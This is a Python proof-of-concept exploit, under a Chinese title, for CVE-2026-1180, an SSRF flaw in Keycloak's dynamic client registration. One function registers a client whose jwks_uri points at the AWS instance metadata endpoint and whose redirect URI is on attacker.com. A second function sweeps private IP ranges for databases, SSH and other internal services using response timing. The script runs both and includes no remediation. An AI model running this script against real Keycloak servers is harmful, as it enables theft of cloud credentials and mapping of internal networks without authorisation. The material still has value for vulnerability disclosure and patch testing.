CVE-2026-1180 Keycloak动态客户端注册SSRF漏洞

# CVE-2026-1180 Keycloak SSRF via jwks_uri PoC # Target: Keycloak server with Dynamic Client Registration enabled import requests import json KEYCLOAK_URL = "http://target-keycloak:8080" REALM = "master" # PoC 1: Basic SSRF test - probe internal metadata endpoint def create_malicious_client_ssrf(): """Create a client with malicious jwks_uri pointing to internal resource""" endpoint = f"{KEYCLOAK_URL}/auth/realms/{REALM}/clients-registrations/openid" # Malicious payload - target AWS metadata endpoint malicious_jwks_uri = "http://169.254.169.254/latest/meta-data/" client_data = { "client_id": "malicious_client_ssrf_test", "client_name": "SSRF Test Client", "redirect_uris": ["https://attacker.com/callback"], "jwks_uri": malicious_jwks_uri, "token_endpoint_auth_method": "private_key_jwt", "response_types": ["code"] } headers = { "Content-Type": "application/json" } try: response = requests.post(endpoint, json=client_data, headers=headers, timeout=10) print(f"[*] Status Code: {response.status_code}") print(f"[*] Response: {response.text}") return response except requests.exceptions.RequestException as e: print(f"[!] Request failed: {e}") return None # PoC 2: Internal port scanning def scan_internal_ports(): """Scan internal services by specifying different jwks_uri ports""" internal_ips = ["10.0.0.1", "172.16.0.1", "192.168.1.1"] common_ports = [22, 80, 443, 3306, 5432, 6379, 8080, 9200] results = [] for ip in internal_ips: for port in common_ports: jwks_uri = f"http://{ip}:{port}/" client_data = { "client_id": f"scan_{ip}_{port}", "jwks_uri": jwks_uri, "token_endpoint_auth_method": "private_key_jwt" } endpoint = f"{KEYCLOAK_URL}/auth/realms/{REALM}/clients-registrations/openid" try: response = requests.post(endpoint, json=client_data, timeout=5) # Fast response may indicate open port if response.elapsed.total_seconds() < 2: results.append({"ip": ip, "port": port, "status": "possibly_open"}) print(f"[+] {ip}:{port} - Possibly open (response time: {response.elapsed.total_seconds()}s)") except requests.exceptions.Timeout: print(f"[-] {ip}:{port} - Timeout (filtered)") except Exception as e: print(f"[-] {ip}:{port} - Error: {e}") return results if __name__ == "__main__": print("[*] CVE-2026-1180 Keycloak SSRF PoC") print("[*] Testing AWS metadata endpoint SSRF...") create_malicious_client_ssrf() print("\n[*] Scanning internal services...") scan_internal_ports()